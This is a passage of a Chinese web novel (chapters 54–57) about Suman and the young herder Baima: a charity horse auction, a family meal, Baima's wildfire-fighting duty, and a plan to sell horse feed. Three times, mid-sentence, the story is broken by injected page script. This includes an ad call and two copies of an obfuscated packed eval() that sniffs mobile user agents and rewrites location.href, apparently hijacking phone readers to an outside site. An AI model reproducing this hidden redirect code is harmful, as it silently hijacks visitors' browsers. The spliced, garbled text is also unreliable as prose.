“因为初一、十五,都是特殊的好日子啊,所以那天拍卖的人也特别多。你不想拍个好价钱吗?” “嗯。我想。” 白玛为她做了一件吉祥的事,苏曼心里又是暖暖的。 和白玛在一起,他总能让她感到温暖。 54. 第54章 正月初一,是个吉祥的日子。 白玛将他最好的一匹马,捐给了科尔寺。以苏曼之名。 整个村子里都赞叹他的善举,同时也都知道了他对苏曼的心意。 德西彻底失望了。苏曼的到来,她彻底的失去了白玛。 这也是白玛的目的之一。他就是想让全村的人都知道,特别是他大舅舅知道,他的心意。 哪怕苏曼还需要他等。 科尔寺,他们曾经去过,这次拍卖,却不是在寺庙里,而是在一片草原上。 每个月的初一、十五,都是拍卖最热闹的一天。在这样吉祥的日子里,从科尔寺拍走宝马,也是一件吉祥的功德。 这天会来很多人,全县各个乡的人都有,有些人是来看的,有些人是带着现金来拍的。 因为拍卖马的附加条件是不可以再转卖,所以有时候,在拍卖马会上,能拍到比外面要更便宜的价格。 毕竟他们也不只是为了赚钱,也是真的爱马。 同时也希望能为自己和家人攒些功德。 白玛的马和其他人捐的马放在了一起,他们需要轮流拍卖。 白玛带着苏曼站在人群中,很快就被次仁找到了。 “白玛,你也捐了一匹啊?”次仁站在他们两个面前,身边还有另外两个兄弟一起。 “对,我给姐姐捐的。” 白玛表明心意,次仁给他竖了一个大拇指,和一个肯定与赞赏的眼神。 “苏曼,白玛对你是不是特别好?”次仁问苏曼,他也想知道苏曼的心意。 “嗯。是。特别好。” 苏曼看了一眼白玛,白玛骄傲的开心的,挺起了胸脯,将自己站的笔直。而苏曼站在他的身边,是娇小的,而又依赖的。 她完全不像个姐姐。只是一个女生。 次仁轻轻的笑了笑。 人群越来越多,围成了一大圈,中间留出了一个大大的空地。旁边正是几匹今天要拍卖的宝马。 科尔寺的几位阿克在主持着拍卖,马一匹一匹的由主人牵上去。 大家不停的赞叹,有些开始出价,直到最后没有人再出价了,便算作成交。买家将拍卖款交给阿克,再将马领走,并承诺放生(不会杀,养到老),且不会转卖。 终于轮到白玛了。 “姐姐,我上去了。这是你的马。知道吗?” “嗯。” 苏曼给了白玛一个感激的眼神。 次仁在一边舔了舔唇,他打开手机,看了一眼账户余额。 次仁自己不做卖马生意,所以并不算有钱。而平时吃喝玩乐的钱,家里会单独给。需要用大钱的时候,只需要跟阿爸说,比如说:他要买马。 像他这种公子哥,只有到结婚分家的时候,才会有属于自己的财产。而现在,他只是一个被家里养着的公子。 当然,他们家的这几个儿子,也需要听阿爸的吩咐,帮着养马、训马,以及放牧。 不过,次仁是家中最小的儿子,他可以什么都不用做。但他还是会帮着做他喜欢的养马和训马。 白玛和次仁都是高手,在他们手上训过的马,多是受人喜爱的。 “三万。” “三万五。” “四万。” “五万。”次仁喊了最后一声。 价格也最终停在了五万。这个价格大约比市场价要便宜一万左右。 当然每次竞拍的境遇也会不同。有时候也会遇到溢价很多的时候,那是因为宝马是真的好,或是遇上了喜欢的人,刚好他又特别不差钱。 苏曼和白玛都很惊讶,最后竟然是次仁拍得了这匹马。 他从来没说过今天要来买马,刚才也没说他喜欢白玛的这匹马。 白玛将马交到次仁的手里,拍了拍他的肩膀,感谢他的支持。 次仁将会把白玛的这匹马养到他们家的马场,一直养到它老死为止。这也是非常大的一件功德了。 “谢谢!兄弟!” “这有什么,你的马,我喜欢。” 次仁接过缰绳,牵着马走向阿克,他刚向他阿爸要了钱,钱已经到账。 拍卖马这种事情,捐的人有功德,买的人一样有功德。 次仁的阿爸也是欢喜的。 苏曼觉得这里每一天的故事,都是那么不可思议,在他们平凡的日子里,总透着一些摸不着的神圣。 白玛不知道次仁拍走他的马是不是因为苏曼,这种实际行动的支持,也很让他感动。 “兄弟,你可要好好养我的马哦!之前好多人要买我都没卖呢!” 次仁笑笑:“你放心,我肯定好好养,我拿它来配种怎么样?让你的善德扩散开去。” 白玛听了笑了,他不知道这是不是为他增彩,但是听着好像有那么些不对。 “你配什么种,你又不养马,还不都是你阿爸在养嘛。” 次仁看了看苏曼,云淡风轻的说:“谁说我不养马,我也要开一个马场。” “啊?你家不是有那么大个马场吗?你咋还开一个?”苏曼问道, “我想开一个自己的马场,总不能一直跟着家里吧。以后我还要结婚,肯定要靠自己赚钱。” 白玛一听,这次仁该不是为了苏曼要开马场吧?为了证明自己? “是是是,你是该结婚了。次仁你赶紧找一个吧。” 今天曲珍没来,不然苏曼可是想要撮合撮合了,她觉得他们两个很配。 次仁看了一眼苏曼:“你觉得我怎么样?” 苏曼立马扭头看白玛,白玛答道:“兄弟你肯定好啊!你是我认识的最厉害的。” “我说的又不是骑马,你瞎回答什么,我问的是苏曼。” 苏曼抿着嘴,想了想:“很好啊。你长的又帅,又有那么多女孩子喜欢,肯定是不错的。” 白玛一听赶忙问道:“那我不帅啊?” “你也帅!你也帅!” 这两个人,一在一起就较劲,苏曼随时随地得应对着,不过现在还好,她也差不多习惯了。 “兄弟,你打算什么时候开?” 说实在的,白玛挺羡慕次仁的,想要什么都是那么轻而易举,跟家里张张嘴就可以了,而他就不行了,什么都要靠自己的双手。 “我前几天去看了个地方,不错,准备租下来。” “这么快?你行。” 白玛又拍了拍次仁的肩膀:“等你弄好了,我去参观参观。” “必须的。” 苏曼在一旁也咧着嘴笑着,他们两个真好,都在为自己的未来打算。 而白玛更好,他总是会想着她。这次捐马,就是。 唉。她不知道能为白玛做些什么。 他们的拍卖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 结束了,次仁拉着白玛的马回去了。白玛想庆祝一番,也想让这个事,在村里再发酵发酵。 “走,回家吃饭去。” “回你家?” “啊。” “别,要不我请你们全家在县上吃个饭吧。感谢你为我捐马,也感谢你阿妈的支持。” 白玛摸摸头,看着那片围着的人群,大家还在激烈的出着价,远处的山脉都能听见他们的声音。山顶薄薄一层积雪,一年四季都化不掉。 “行,我跟阿妈说一声。” 说着白玛给阿妈打电话,说拍卖结束了,交代了下拍卖的事,然后又询问了他们想吃什么,降措说想吃汉堡包,于是大家愉快的就这么决定了。 次仁为了拉马,开走了白玛他带斗的小货车,于是苏曼就开着她的车和白玛一起回去接他们。 小降措早早的就在院门口等着了。 “哇!三叉!阿妈,我们今天要坐三叉了。” 白玛妈妈换了件新衣裳,虽然依旧是灰棕色,但是比它平时穿的要整洁许多。平日里她都是穿着一身看上去灰突突的,似是干了许多活的旧衣裳。 苏曼下了车,看着白玛妈妈的眼睛,她好像有些害羞,明明是他们家给苏曼捐了马,可苏曼带他们去吃汉堡包,她却流露出了感激。 这让苏曼心里很不是滋味。 “阿姨,谢谢您。” 苏曼郑重的握着白玛妈妈的手,她的手很粗糙,又干又裂,似乎还有许多小口子。 她很想伸手去抚她的脸,很想去爱这个“可怜”的母亲。 最后苏曼在看了一眼白玛后,直接抱住了小小的白玛妈妈,她比苏曼还要瘦小,苏曼的鼻子很酸,眼睛很红,她不知道自己为什么会这样。 这是她第一次主动拥抱一个中年女性。 白玛妈妈也伸手抱住了她,轻轻的拍着她的背。好像被安慰的人,又变成了苏曼。 这轻柔的力量,却大到冲破了苏曼的防线,她还是流下了眼泪。 没有人像真正的母亲一样抱过她。从小到大。 白玛见状,赶紧也走了上去,一起将她们两个抱住。 “不哭了,姐姐,我们去吃汉堡包。” 汉堡包,小降措一直期待的。 梅朵也早早站在一边,她身上穿的是白玛的那件乳白色抓绒外套。有些大,但是可能这正是现在的小年轻喜欢的装扮。 草原上的姑娘,除了穿自己的传统服装,大多数都是偏爱宽松嘻哈风格,苏曼也不太理解,她们为什么会“青睐”这种时尚风格。 白玛环抱着两个人,也拍着苏曼的背,很快苏曼就调整了情绪,吸了吸鼻子,“走!” 她看了一眼白玛的眼睛,特别特别温柔有力量。 “你们三个坐后头哈!我跟你们姐姐坐前面。” “好的,阿布。” 降措首先跑向了车门,然后是妹妹,也爬了上去,最后白玛妈妈才坐上车。 白玛给苏曼系好安全带,看了看后座的三个人,大家心情都很好。 白玛心情最好。 “走喽!” 黑色的车子缓缓的驶出村子,满载着一家人的欢乐。 这不是白玛妈妈第一次去县上吃饭,不过以往也都是跟姑姑一起,在小店里点个盖饭而已。 正式的进餐厅,这是她的第一次。 55. 第55章 白玛妈妈害羞又紧张,因为不会说汉话,只能不停的用眼神跟苏曼交流。 好在降措很活泼,跟白玛妈妈有许多话说。 梅朵话很少,或许是女生,或许是青春期,她开始爱美,自己没有新衣服穿的时候,会挑哥哥的衣服穿。 虽然都不是新衣服,但是穿着没穿过的衣服,那也就算是新衣服了。 降措经常会拿白玛的手机刷视频,懂的东西并不少,汉堡包就是他一直期盼着想吃的。 县城里只有一家汉堡店,虽然是山寨的,可能味道做的也不会怎么好。但是小朋友懂什么呢,没吃过的东西,能吃上,那就是天底下最美味的汉堡包了。 苏曼给他们点了满满一桌子,还有奶茶、冰饮、雪糕,只要是降措看着想尝试的,苏曼都给他们点上了。 “阿妈说你点的太多了。”白玛张着嘴也在卖力的啃着一个汉堡包。 “没事,吃不完可以打包嘛。” “对,吃不完带回家去,我晚上还可以吃。”降措学着苏曼的样子,捏起一根薯条,沾了沾番茄酱。 梅朵斯斯文文的咬着她的奶茶吸管,眼睛时不时的望向窗外,少女似乎开始有自己的心事了。 白玛妈妈左右张罗着降措,自己倒没怎么吃。 “你阿妈是不是吃不习惯这些?”苏曼小声的问坐在她旁边的白玛,白玛将脑袋凑了过来。 “可能是。她主要是陪弟弟吃嘛。她自己无所谓的。” 苏曼又叫服务员拿来菜单,问白玛妈妈要不要吃意面,白玛妈妈笑着摆摆手:够了够了。 她拿起面前的汉堡包,也开始努力的啃了起来。白玛在一旁笑眯眯的看着大家。 “阿妈吃的,你不用管她,你吃你的嘛。” 白玛用身子挤了挤苏曼,苏曼转过头轻瞪了他一眼,示意他老实一点。 “阿布!你是不是喜欢姐姐?” 降措小聪明,说出了让大家都震惊的话,白玛妈妈马上用手轻打了他一下,没有作声。 白玛舔了舔嘴唇,压着嘴角,乖乖的继续吃他的汉堡包。 苏曼的脸红的和白玛一样了,抬眼一看,白玛妈妈的脸也红的不像样子。这反而让苏曼自在了许多。 白玛妈妈招呼完降措,又开始招呼苏曼,用手示意这个好吃,那个好吃,叫苏曼都吃吃。苏曼开始不停的摆手,又不停的点头,最后向白玛投去眼神。 “阿妈,你吃你的,她这些都吃过的,我们在永京吃了好多好吃的呢。比这个好吃多了。” 白玛一说完,降措马上接话:“阿布,我也想去永京。” “等你长大了,叫你阿布带你去。”苏曼道, 白玛又凑过来苏曼这边:“你带我,我带他嘛。” 苏曼用肘拱了拱白玛,瞥着眼说:“你好好吃你的。” 白玛妈妈又是一阵脸红,埋着头使劲的吃着。 一家人愉快的吃了一顿不怎么样的汉堡包,一家人获得了极大的满足和快乐。 回忆里,苏曼从未和家人如此过。除了儿时对父亲的惧怕与小心翼翼,就是母亲发疯的驯骂和虐打。 她好像从未有过家。也从未有过爸爸和妈妈。 走出餐厅的大门,外面的光从天而降,照在每个人的身上。白玛妈妈说好不容易来县上一趟,要去给苏曼买一件外套。 “买什么外套啊?阿妈?” 白玛妈妈想给苏曼买个当地的民族服装,跟白玛那个一样的,里面带毛毛的。 “姐姐,阿妈说你那个羽绒服不暖和,让你穿我们这边的衣服,我们这个衣服比羽绒服要暖和呢。” 白玛替阿妈解释。 “真的吗?你们那个衣服比羽绒服还要暖和?”她有些不太相信,不过对于抵御寒冷,他们总归是比她经验丰富的。 “给我买啊?哎呀,你阿妈让我穿你们的衣服啊?” 苏曼有些不好意思。 作为一个汉地人,在高原上穿上高原的衣服,那就和本地人没有什么区别了。要说也是常驻高原的汉地人了。 那身份,自然就更近了。 白玛舔了舔唇,他看着阿妈。不知道阿妈是怕苏曼冷,还是内心接受了苏曼。 “对的呢。阿妈想让你穿我们的衣服。”白玛眉眼弯弯的看着苏曼,眼里有许多小星星。 “哎呀,我不好意思穿呢。” “这有什么的,好多人汉地人都这么穿的嘛。没人看你的,你不在意就啥事没有。” 正在苏曼还在纠结犹豫的时候,白玛妈妈坚定的要白玛开车带她去那个市场,她已经想好了,就是要送一件本地的外套给苏曼。 于是大家就去了买衣裳。 原来,那个民族服装那么沉,穿在身上比羽绒服沉多了,里面是厚实的羊毛,外面一层锦质暗绣光滑的面料,也有灯芯绒的,但是苏曼还是选了一件和白玛一样的,锦质亮面暗黄色。 “你穿和我一样的颜色啊?”白玛笑眯眯的问苏曼, “啊?哦!那我选咖色。” 虽然也有红色,但是苏曼看大街上穿红色的很少,大部分都是黄色和咖色灰色系。 “没事的,你就穿和我一样的嘛。我们年轻人都买这个黄色的。” “不,就这个咖色吧。” 苏曼还未想好是否一定会穿,先买了再说。 但是到白玛妈妈付账的时候,她的心是不忍的。可是为了让白玛妈妈高兴,她还是接受了她的礼物。 这是她小而大的心意。 白玛抱着那个装衣服的大袋子,可真是大啊,一大坨,就像一张厚厚的短被子一样。 “你们那个长款的都能当被子了吧。”苏曼问白玛, “对啊,我们在牧场上的时候,就是可以脱下来当被子盖啊。” 长到脚面的一张大“被子”。 苏曼见过白玛在家穿那个长款,整件衣服比他个子还要高,需要从脚面提起来,提到小腿中间的位置,然后腰上折上一折,用一根宽绸缎或长围巾把腰间捆紧,再把腰前、胸前掏一掏松,稍做整理,就算是穿好了。 最后再看温度情况,是否需要把一只袖子脱下来,甩在肩膀上。 胸前的那个大空位,是真的可以装下许多许多的东西。怪不得他们什么东西都喜欢从怀里掏出来。真像是一个八宝囊一样。 在这么寒冷的高原,确实需要随身穿着一张羊毛大被子。 苏曼有了自己的第一件民族服装,这是白玛妈妈送的。她怎么也没想到,不知不觉间,白玛妈妈竟然又为她做了一件温暖的事情。 好像她做的,比她母亲还要多。 可是,这个瘦小的女人,从来没有向她索取过回报啊。 苏曼又想起了自己那个遥远的母亲,和在她生命中早已消失的父亲。 他们的“家”让苏曼误会了“家”这么多年。 而白玛的家,却真实的告诉她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967948|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这才是真正的家。 苏曼开始庆幸,她没有在孤独的道路上一直走下去,是白玛把她拉回了充满阳光的光明大道。 是神山,给了她一条新的路。 - 回到家的时候,苏曼本来想直接就开车回去了,但是白玛还是邀请她进屋坐会儿。 大舅舅赶了过来,他家的水井今天开始打了,他又过来看看白玛家的井。 “大舅舅,姐姐请我们去吃汉堡包了。” 降措拉着大舅舅的手,开始显摆,因为大舅舅家下面还有好几个小孩子,都没有吃过汉堡包呢。 别说汉堡包了,就是雪糕都没有降措吃的多,有时候只能到白玛家里玩,才能蹭吃蹭喝。 大舅舅虽然富,但是却是非常非常节省的一个人。 他跟白玛妈妈在院子里说着什么,一边看着水井,一边偷偷往屋里瞟。 白玛撺掇苏曼试试那件衣服,苏曼脱了羽绒服开始试了起来,穿好后走出去给白玛妈妈看,当着大舅舅的面,白玛妈妈笑笑的给她竖了个大拇指。 虽然大舅舅还是一副事不关己冷漠的样子,但是苏曼慢慢的也不会不自在了。 她和这家人,已经很好的融在了一起。 “白玛,我家今天死了一头牛呢!” 大舅舅和白玛妈妈看完水井,也一起走了进来。 “生病了啊?” “哎呀!跑到马路上去了嘛!被游客撞死了。” “天,给钱了没有嘛?” 白玛看着苏曼换回了自己羽绒服,又将衣服装进了袋子。 “给了嘛,五千块钱。” 白玛妈妈又开始烧奶茶了,苏曼忙走过去说不用忙了,她一会儿就要回去了。 大舅舅一边跟白玛说着话,一边一直在观察着苏曼这个汉族姑娘。 其实,他也不会说汉话,平日里跟白玛妈妈的性格很像,也是话少的很。 “那可以嘛!牛拉回来没有?” “拉回来了,请了人杀了,不然太痛苦了,当时牛还没有死呢。” 苏曼听的心里“嘶嘶”的难受。死亡,在高原上太普遍了。 白玛妈妈说要跟大舅舅买一些牛肉,这样下半年她就不用从别家去买了。 大舅舅说明天分完,会直接给他们送一块,大概就是臀部和后腿的位置。 家里又有牛肉了,白玛妈妈高兴了起来。 “我舅舅经常给我们家送牛肉,今年我们家都没花钱买过牛肉呢。” 白玛悄悄的跟苏曼讲解他们刚才的对话。 “那你舅舅对你们很好啊。” “对啊,当然很好了。他是我们的大舅舅嘛。” 大舅舅一直在照拂着这这个单亲家庭,关爱着自己的妹妹和侄子侄女们,他只是嘴上不说,但是事情从来都是默默的做着,和白玛妈妈一样。 苏曼开始对他有了敬意,虽然他看上去不太喜欢她。 白玛的婚事,成了大舅舅心里的一个结。他想替白玛做主,却发现做不了主了。但是他又不能不管他。 “白玛,明天你帮我送块牛肉去德西家。” “啊?”白玛一听,十分的不情愿,他知道大舅舅的意思。 但他不知道的是,大舅舅这是在向德西爸爸赔罪呢。 “我答应他阿爸的事,做不到了嘛。” “哦......” 白玛终于懂了,大舅舅的难处。 56. 第56章 一大早,村长就招呼村里的打火队开会,群里通知了一遍又一遍,还挨个打了一遍电话通知。 事情似乎很紧急。 夏季,是山火高发时期。通知打火队聚集,那就是哪里发生山火了。 而白玛,就是他们村里打火队的一员。 打火队,有点类似民兵的意思。就是平时没什么事,各忙各的,有事的时候,就会召集大家一起,听从上面的统一安排。 村官会带领着他们这些临时组建起来的打火队,深入山火处。 而这些打火队的小伙子们就会背着沉重的灭火器、水桶等各种装备上山。可能要在山上徒步好几天,哪里有火,就去哪里扑灭。 往往回来,都会是灰头土脸的一身漆黑。 白玛迅速通知了苏曼,他可能要上山几天,只轻描淡写的说了句:上山灭火。 苏曼头一次听说灭火,是由各村的小伙子们临时组建的。 这件事情,一开始她还是一头雾水,直到看到网上的新闻,才知道,这是他们长西地区的一场不小的大火。 已经烧了几天了,只不过不在巴龙县,所以,这会是一场危险的任务? “白玛,你会灭火嘛?我怎么不知道你还要干这种事情呢?” “有什么不会的嘛,有人教的嘛。你放心吧。” 可是,这是他第一次去真正的灭火。他也是在去年满十八岁的时候才刚进的打火队。 白玛给苏曼发来他们准备出发的照片。 每个人都穿着制服、戴着一顶红色的棒球帽,站的高高低低、笔挺笔挺的一群人,全部都是十八九岁的面孔,在苏曼眼里,他们看上去,都还是孩子。 而他们,就要去山上未知的山火里,灭火了。 “白玛,你们做这个事,会给钱吗?” 苏曼还是想到了“钱”。 “给什么钱嘛,每家都要派人去的,只是每次不一样嘛,这次我去了,下次就是别人去。都要去的,轮流的。” 轮岗制。免费。责任。义务。 这是苏曼获得的信息。 山上几乎没有信号,苏曼发出去的信息,有时候一天才能等到回复。 “姐姐,我刚找到一个有信号的地方,我怕手机没电,一直没敢开机呢。” 苏曼又收到了白玛发来的一些照片,他衣服胸前和袖口已经脏的黑兮兮的了。 他们坐在山林的地上吃着泡面,每个人都是笑着的,白玛也露出了他那口白牙,在黑黢黢的脏脸下,那排牙白的更加突兀了。 “白玛,你们灭火危险吗?” 她看照片看着好像还好的样子,大家集体活动,照片里白玛还给她拍了几小堆被他们熄灭的火堆。 “没事的,姐姐,不过这些照片不要外传哦。” 白玛叮嘱苏曼,因为这次火灾网上已经开始报导了,为了不引起不必要的恐慌,他们被叮嘱不可以外传现场的照片。 这些照片都是白玛为了让苏曼放心而偷偷拍下的。 甚至有一张,他躺在地上睡觉,只露个眼睛,后面小山坡上大家都在睡觉的广景。 “你们真的好辛苦哦!” 苏曼终于看清了他们这些“打火队”在做的事,以及是有多么的辛苦。 或许,在山上呆惯的他们,以天为被,以地为床的他们,自己并不觉得吧。 每天苏曼都在胆战心惊的等着白玛消息的回复。有时候聊个三五分钟,信号就断了。她也习惯了白玛忽然的“下线”,那一定是没信号了。 后来他们定好了,每天晚上十一点钟联系。 在打火队开始休息的时候,白玛就会在山上到处走,寻找有信号的地方。 “姐姐,我在一个小山坡上呢!这里风好大。” 白玛说的是一个小山顶。他大约走了二十分钟才找到这里,找到信号。 这个小山坡,在黑漆漆的月空下,能隐约看见站了好几个人,都是在给家人、恋人,或朋友,报平安的。 山上的夜晚特别的冷,更何况是在一个空旷的、有信号的山坡上。苏曼能听到风呼呼的声音,连白玛自己都在不停的说冷。 让一个高原人,从来不怕冷的高原人,都说冷,那一定是特别特别的冷。 苏曼不敢想,到底有多冷。如果是她,一定连半分钟都不想呆在那里。 可白玛,跟她足足打了半个小时的电话,直到山坡上的人一个个都扛不住了回去了,当剩下最后一个人的时候,白玛才说:“姐姐,我看那个人也要走了,我也要走了。” “嗯。快回去吧。太冷了。” 苏曼这才发现自己的恋恋不舍,以及对白玛每日的思念与担心。 她和白玛,好像已经连在一起了。 熬了好几天,原本说的一周能结束,最后还是拖到了差不多两周的时间。 多出来的这几天里,苏曼每日都心急如焚,她迫切的期待白玛早日下山。早日归来。 “姐姐,我们上车了,大概晚上十二点钟到县城。” 终于收到了回来的消息,苏曼激动不已,她从未如此为别人激动过。 “你身上那么脏,要先去县上洗个澡吧。” “嗯。我先去县上澡堂洗个澡,然后我再来找你。姐姐,我好想你呢。” 我也想你。这句话,苏曼说不出口。 “嗯。快回来吧。” 一个小时,两个小时,苏曼从未觉得时间这么难熬。白玛终于进入了县城,终于下车,他说要回趟家取干净衣服。 苏曼一直在等,每分每秒的在等。 白玛说开上车了,正从澡堂过来,很快,就几分钟。 苏曼守在咖啡厅的门口,裹着她长长的羽绒服,就像裹着一床被子一样,守在门口张望着深夜里每一辆亮起的车灯。 白玛将车子停在门口,当他从车里下来,朝着她走来的时候,苏曼分明感觉自己的心脏停跳了一秒。 她好像是第一次见这个人,像是见一个陌生的从未见过、却十分期待的人。 白玛顶着依然乱糟糟的一头长发,越来越近的向她走来,眼神逼近,直到站在了她的面前。 “姐姐。” “你的头发怎么这么乱,是没洗干净吗?” “嗯,着急来见你,随便洗了一下。” 头发都没有吹干,也没有洗干净,就像是随便打湿、随便抓挠两下,糊弄自己骗自己骗别人我洗过头了。 苏曼不敢看白玛的眼神,她怕暴露自己的异样。她对他的思念与期待,像漫天的星星一样高广,无处可藏。 “要不要上楼再洗一下?我这里有热水也方便。” 苏曼领着白玛一步一步的跨上楼梯,她的心开始“砰砰砰”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984454|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳,她努力的压制自己,让自己显得和平常一样。 “好啊。你不看看我吗?” “洗完再看。” 白玛抿着嘴笑了笑,又忍不住的舔了舔唇。苏曼发现他特别喜欢舔唇,好似他们高原人都喜欢无意识的舔唇。 或许他们经常会害羞,又或许是经常会不知所措。 苏曼给白玛拿了一个白毛巾。 “里面有洗发水,别感冒了,早点洗完早点出来。把浴霸打开。” “知道啦,姐姐。” 待白玛进去洗头的时候,苏曼在露台上泡好一壶热茶。深夜有些凉,但是她还是喜欢在这里,裹着长羽绒服,看看星星。 白玛一边擦着湿发,一边走了出来。苏曼看着他十分的害羞,这黑夜似乎在诉说她的心事,将她隐蔽的心事诉说给白玛听。 “快擦,一会儿感冒了。我去给你拿个吹风机。” 苏曼这才想起,露台上没有插座。 “哎呀,你还是去我屋里吹吧,这里没有插座。” 苏曼过去把自己的房门打开,白玛跟着走了进来。这不是他第一次进苏曼的卧室,但这是他第一次深夜走进苏曼的卧室。 房间的灯被苏曼打开,连着露台的黄光,显得卧室无比的明亮。 “你吹吧。” 苏曼给他搬来了一张椅子,让他坐下慢慢的吹。 白玛开始胡乱的拨着自己的长发,水渍甩来甩去,简直就是一团糟。 “你会不会吹头发啊!”苏曼看着,这简直就是在蹂躏自己的头发。 “我不会啊,我平时也不怎么吹。” 也是,白玛家连个吹风机都没有。对了,她阿妈一直想要个吹风机。苏曼想着明天给白玛妈妈买一个吹风机送给她,她一定会很高兴。 苏曼在一边看着,实在是着急的想上手。 白玛道:“姐姐,要不你帮我吹吧。你教教我,下次我就会吹了。” 白玛扁着嘴,故作无助祈求状,苏曼接过吹风机,站在他的身旁,准备帮他吹头发。 她尝试的轻拨了一下,白玛的头发很硬很乱,她有些无从下手,不敢触碰太多。 “姐姐,你好好吹嘛!一会儿我真要感冒啦。”白玛开始撒娇, 苏曼恢复正常,开始不停的拨弄着他的长发,时不时手心划过他的额头,时不时划过他的耳朵。 白玛的耳朵通红。或许是吹风机吹的。 就这样吹了好久,直到头发全干,白玛忽然仰头,望着苏曼,苏曼迎上他的眼睛,一阵慌乱。 “姐姐,你想我吗?我好想你呢。” “想你个头......你好好回来就是了。” 苏曼放下吹风机,将白玛赶了出去,两人回到露台,茶已冷,只好望远空繁星。 白玛将长发向脑后拨去,长发垂落,一阵清香袭来。 苏曼仰头看着那张立挺的侧脸,这一刻,她也想像德西一样占有,若白玛永远能陪着她该有多好。 “白玛,你生日是什么时候?” “我不知道呢。”白玛侧低着头也看向苏曼。 “我们的生日都是办身份证的时候乱写的,阿妈也不记得是哪一天了。” “那你过过生日没有?” “没有呢。” 苏曼又找到了白玛的第一次,他的第一次过生日。 57. 第57章 从山上打火回来,回到家的第二天一早,阿妈就跟白玛说他的马可能是生病了。 马儿一直精神不好,不好好吃食。因为他在山上,没法联系,白玛妈妈就一直在等着白玛回来再处理。 白玛带着马去乡里的兽医那里看了看,大概是说让他换上马饲料试试,马饲料的香味更受马儿们喜欢。 许多养马人的家里,当草料不够的时候,都是买马饲料喂养的。 白玛第一次觉得自己也需要买马饲料了。以往他都是努力的储存草料,再买上一些青稞。 但是巴龙县是牧区,不是农区,没有人种植,所以不产青稞,而购买青稞比直接购买马饲料还要昂贵。 兽医的建议,白玛是要考虑一下了。 白玛去县上买了几袋马饲料,果然马儿就香香的吃了起来了。 “姐姐,原来马也会挑食。我家马现在要改喂饲料了呢。差点我还以为它生病了。” 白玛坐在苏曼的咖啡厅一楼,终于喝上了一口纯正的咖啡。当然,他还是没有付钱,因为这是苏曼给他做的。 “你们这大部分都是吃草吧?” “对呢。吃饲料的也有,不多。” 苏曼想了想,牧区都是养牛养马,饲料是必须品,可是他们却仍坚持着最原始的方式:喂草。 要么赶到山上去吃野草,要么自己割草储备,或者直接一车一车的购买草料。当然,也是因为草料是最便宜的。 若是吃饲料,会不会养马就能简单很多,规模也能大起来了呢?毕竟草料是有限的。 苏曼灵机一动:“白玛,你想做马饲料的生意不?你们这里牛马这么多,肯定能卖的动的。” 白玛喝着咖啡,头脑清醒极了: “想啊,但是谁会给我卖啊?我也不懂找谁要。县上那些卖饲料的老板,也不会告诉我啊。你看上次我们去永京,找个毯子,人家都不跟我说实话。” 巴龙县有一些老板专门倒腾从永京厂里批回来的毯子,虽然比不上草原上纯羊毛的古老毯子昂贵,但是也正是因为价廉,图案样式新,而受到大家的喜欢,卖的也特别的好。 关键是,只要喜欢,他们都是肯出高价的。毯子和马一样,都是草原人最喜爱的东西。 吃穿不在意的他们,买几千块钱的毯子可是眼都不眨一下的。 无论什么生意,白玛都是想做的。只要是能赚钱的。 可惜上次去永京,他并没有找到毯子的厂家货源。 “没事,我帮你找。”苏曼给了白玛一个安心的眼神,似要做一件大事般。 这些本就是苏曼的强项。她在永京这么些年,商业上的事还是难不倒她的。 白玛抿着咖啡,心里想着:有姐姐真好。姐姐真棒! 他对外面的世界一窍不通,可是姐姐什么都知道。 - 苏曼紧锣密鼓的开始研究起马饲料来了。她还叫白玛把他的马吃的饲料袋子,拍了个照片发给她。 高原马和汉地马吃的饲料,还是有些不同的。 高原上的饲料,能量和热量都要高一些,这样才能满足高原马的身体需要。 她联系了中北省的一家马饲料厂家,同时又联系了一家马场,她想看看人家的马是怎么科学喂养的。 就当是一次学习和考察吧。 定好机票,苏曼给白玛发了微信。 “白玛,我要出差几天,你就不用过来店里了,我不在呢。” “姐姐,什么意思啊?” 白玛可能不知道什么叫出差。或许隐约知道一点。 “我去外地几天,过几天才回来哦。” “你干嘛去啊?要我陪你吗?” 白玛开始有些失落,他去山上打火回来才没几天,这又要和姐姐分开了。 “啊不用,我就是去看看饲料,你在巴龙等着我,你家里还需要你呢,我很快就回来了。” “哦......” 姐姐在帮他找马饲料,他很想去,但是家里确实走不开。 村子里的一位老人去世了,他们要为他连续好几天的集体念经。 而且,他什么也不懂,去了也可能只是浪费多一个人的旅费。 他相信姐姐。 只要几天,姐姐就能回来了。 白玛在给马房的马槽一个个的添水。 有了水井,家里就方便多了,接根管子,就可以给家里、院子里的任何地方送水,再也不用一桶一桶的提水了。 添完水喂完马,他就要换上他们的当地服装,去村子里的活动中心给那位去世的老人念经了。 念经只能穿高原服装,不可以穿休闲装,因为那不够严肃。 村上有什么活动,都是在活动中心举办的。说是活动中心,不过是一个巨大的白色帐篷,里面可以容纳几百上千人。 大家席地而坐,手中拿着念珠,前面有几位阿克领着大家一起念,每天从早上念到晚上。 直到最后一天的清早,几个青年和阿克会一起把逝者送上山,送给天空飞翔的黑鸟。 让他的灵魂离开,让他的身体,最后再做一次供养。 身体只是装载灵魂的一具躯壳。 